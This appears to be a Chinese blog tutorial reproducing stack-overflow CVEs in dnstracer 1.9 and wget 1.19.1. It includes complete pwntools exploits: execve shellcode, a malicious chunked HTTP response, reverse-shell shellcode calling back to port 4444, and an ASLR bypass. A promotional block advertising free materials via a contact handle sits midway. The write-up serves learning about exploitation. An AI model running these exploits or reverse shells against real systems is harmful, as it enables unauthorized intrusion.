最近復現了兩個棧溢出漏洞的cve,分別是CVE-2017-9430和CVE-2017-13089,簡單記錄一下real wrold中的棧溢出漏洞學習。目前,棧溢出漏洞主要出現在iot固件中,linux下的已經很少了,所以這兩個洞都是17年,比較早,但還是能學到一些東西。
CVE-2017-9430
1.漏洞描述
dnstracer 1.9 及之前版本中基於堆棧的緩衝區溢出允許攻擊者通過命令行造成拒絕服務(應用程序崩潰),或者可能通過命令行造成未指定的其他影響。
2.環境搭建
編譯安裝DNSTracer 1.9
wget http://www.mavetju.org/download/dnstracer-1.9.tar.gz tar zxvf dnstracer-1.9.tar.gz cd dnstracer-1.9 ./confugure make && sudo make install
在make前,修改Makefile
CC = gcc -fno-stack-protector -z execstack -D_FORTIFY_SOURCE=0 -no-pie -m32
編譯好後,關閉ASLR
sudo echo 0 > /proc/sys/kernel/randomize_va_space 或者 sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
3.漏洞成因
程序在處理命令行參數時,調用strcpy函數對argv[0]進行處理時,由於處理不當,導致了棧溢出漏洞。
4.漏洞利用
這裏在進行利用時,關閉了ASLR、PIE、Canary、RELRO、NX等緩解機制。
由於strcpy未對參數長度進行檢查,這裏導致的棧溢出漏洞可以溢出足夠的字符長度,並且關閉了各種緩解機制,所以我們通過返回到shellcode的方式獲取shell。但在復現的過程中,發現一個有趣的地方。如果我直接溢出到返回地址,並不能完成預想的get shell。回到彙編
發現了問題,這裏在ret之前,棧指針變了,是由ecx的值決定的,而ecx是從棧pop出來的。分析這段彙編代碼發現,如果正常情況下,最後esp的位置和直接返回的沒有這段處理代碼的位置相同,但由於由這段代碼,就導致不能直接覆蓋到返回地址,否則會在執行倒數第二條彙編指令時觸發非法地址。
所以,這裏不能直接覆蓋到返回地址,而是要通過佈置棧中數據控制ecx,從而將ecx-4處的地址賦給esp,使esp指向存有shellcode地址的位置,這樣就可以正常完成get shell了。
內存佈局如下圖
exp如下:
#!/usr/bin/python3 # -*- encoding: utf-8 -*- from pwn import * context(os = 'linux', arch = 'amd64', log_level = 'info') # context(os = 'linux', arch = 'amd64', log_level = 'debug') context.terminal = ['tmux', 'splitw', '-h'] elf = './dnstracer-1.9/dnstracer' # elf = ELF('./simpleinterpreter') #----------------------------------------------------------------------------------------- rv = lambda x : p.recv(x) rl = lambda a=False : p.recvline(a) ru = lambda a,b=True : p.recvuntil(a,b) rn = lambda x : p.recvn(x) sn = lambda x : p.send(x) sl = lambda x : p.sendline(x) sa = lambda a,b : p.sendafter(a,b) sla = lambda a,b : p.sendlineafter(a,b) u32 = lambda : u32(p.recv(4).ljust(4,b'\x00')) u64 = lambda : u64(p.recv(6).ljust(8,b'\x00')) inter = lambda : p.interactive() debug = lambda text=None : gdb.attach(p, text) lg = lambda s,addr : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr)) #----------------------------------------------------------------------------------------- if __name__ == "__main__": filling = "\x90"*(1050-32-32-1-0x300) filling += "\x4c\xcd\xff\xff" # ShellcodeAddress filling += "\x90"*0x300 # 0xffffcd4c filling += "\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"+"aa" filling += "bbbb"*4 filling += "\x4c\xcd\xff\xff" # ecx esp=[ecx-4] payload = filling p = gdb.debug([elf, payload],"b *0x0804969E") inter()
5.坑點
在復現的時候還有一些坑點,我暫時也不知道原因。
①第一點就是這個在返回前對esp進行處理的彙編,我不知道爲什麼我編譯出來的程序會有這一段,在網上看其他師傅復現的文檔,都沒有遇到這個問題,疑惑ing。
②第二點是我在復現的時候,明明已經關閉了ASLR了,按理說每次調試的時候,棧地址應該不會變纔對,但事實上,我當天的地址是固定的,但隔天可能就會有0x10的偏移,很詭異,這就導致exp無法穩定攻擊,爲此只能在shellcode前面加很多的nop,讓這個地址即使發生了偏移也能完成利用。
【---- 幫助網安學習,以下所有學習資料免費領!領取資料加 we~@x:dctintin,備註 “開源中國” 獲取!】
① 網安學習成長路徑思維導圖
② 60 + 網安經典常用工具包
③ 100+SRC 漏洞分析報告
④ 150 + 網安攻防實戰技術電子書
⑤ 最權威 CISSP 認證考試指南 + 題庫
⑥ 超 1800 頁 CTF 實戰技巧手冊
⑦ 最新網安大廠面試題合集(含答案)
⑧ APP 客戶端安全檢測指南(安卓 + IOS)
CVE-2017-13089
1.漏洞描述
http.c:skip_short_body() 函數在某些情況下被調用,例如在處理重定向時,在 1.19.2 之前的 wget 中分塊發送響應時,塊解析器使用 strtol() 讀取每個塊的長度,但不檢查塊長度是否爲非負數,然後,代碼嘗試使用 MIN() 宏跳過 512 字節的塊,但最終將負塊長度傳遞給 connect.c:fd_read(),由於 fd_read() 採用 int 參數,因此丟棄了塊長度的 32 位高位,使 fd_read() 具有完全由攻擊者控制的長度參數。
2.環境搭建
在ubuntu16.04下搭建會比較穩定。
sudo apt-get install libneon27-gnutls-dev wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz tar zxvf wget-1.19.1.tar.gz cd wget-1.19.1 sudo apt-get remove wget ./configure make && sudo make install
3.漏洞成因
由於使用strtol來讀取每個塊的長度,但沒有進行負數檢查。
例如讀入長度爲-0xFFFFF000,經過處理得到v22爲0xffffffff00001000
後面有3次對長度的校驗,但都只進行了上限校驗,未進行下限校驗,由於v22是int,且符號位爲1,都滿足校驗條件,最終將長度傳入函數fd_read。
由於fd_read()函數的長度參數即a3爲無符號數,就使得讀取的長度由用戶可控,造成了棧溢出。
4.漏洞利用
這裏在進行利用時,我們首先關閉ASLR、PIE、Canary、RELRO、NX等緩解機制。
根據漏洞成因的分析,我們可以先構造poc,控制讀取的長度爲我們利用需要的size,這裏我設置爲0x1000,相應poc如下
payload = """HTTP/1.1 401 Not Authorized Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive -0xFFFFF000 """
調試方式:
生成poc
python3 exp.py
發包窗口
nc -lp 6666 < poc2
gdb調試窗口
gdb wget b *addr r localhost:6666
先執行exp,生成poc,然後發包,然後執行wget http://localhost:6666
這個的棧溢出就比前面那個cve的棧溢出正常一點,直接覆蓋返回地址爲shellcode的地址就可以了。由於我們這裏關閉了所有緩解機制,就直接在棧中佈置shellcode,獲取shellcode地址,覆蓋到返回地址就ok了。
exp如下
from pwn import * payload = """HTTP/1.1 401 Not Authorized Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive -0xFFFFF000 """ context(arch='amd64', os='linux') sc = asm(shellcraft.connect('127.0.0.1',4444)+shellcraft.dupsh()) #print(sc) payload = payload.encode() payload += sc + (560+8-len(sc))*b'\x90' #棧偏移量568 stack = 0x7fffffffd190 payload += p64(stack) #輸入數據起始地址 payload += b"\n0\n" with open('poc2','wb') as f: f.write(payload)
但是,如果開了ASLR,怎麼辦呢,我們很自然地會想到jmp reg的方式。
首先看看ret的時候,有沒有寄存器可以用
很巧,rsi正好指向我們的shellcode,於是我們就可以去找個jmp rsi的gadget完成ASLR的繞過
直接找gadget比較慢,可以先把所有gadget重定向到txt中,然後在txt中查找會比較快
ROPgadget --binary=wget > gadget.txt cat gadget.txt | grep 'jmp rsi'
得到繞過ASLR的exp
from pwn import * payload = """HTTP/1.1 401 Not Authorized Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive -0xFFFFF000 """ context(arch='amd64', os='linux') sc = asm(shellcraft.connect('192.168.110.138',4444)+shellcraft.dupsh()) #print(sc) payload = payload.encode() payload += sc + (560+8-len(sc))*b'\x90' #棧偏移量568 stack = 0x7fffffffd190 jmp_rsi = 0x0000000000475bcb #payload += p64(stack) #輸入數據起始地址 payload += p64(jmp_rsi) payload += b"\n0\n" with open('poc2','wb') as f: f.write(payload)
可以看到,成功繞過了ASLR緩解機制,執行shellcode
5.坑點
在復現的過程中,我發現在關閉ASLR時,我通過第一種方式攻擊,必須在gdb中執行才能成功,如下圖
直接在命令行中執行wget http://localhost:6666會崩潰
但繞過ASLR的exp就可以直接執行,我懷疑是沒有把ASLR完全關閉,但查看ASLR的值確實都是0,不知道爲啥會這樣。
小總結
在對這兩個cve的復現中,對棧溢出漏洞的ret2shellcode和jmp reg兩種利用方式進行了複習,遇到了一點比較有意思的東西,比如第一個cve中ret前對esp的改變。不論是在ctf中還是realworld,程序的利用最終一定是基於對程序彙編的理解,遇到問題,迴歸本源。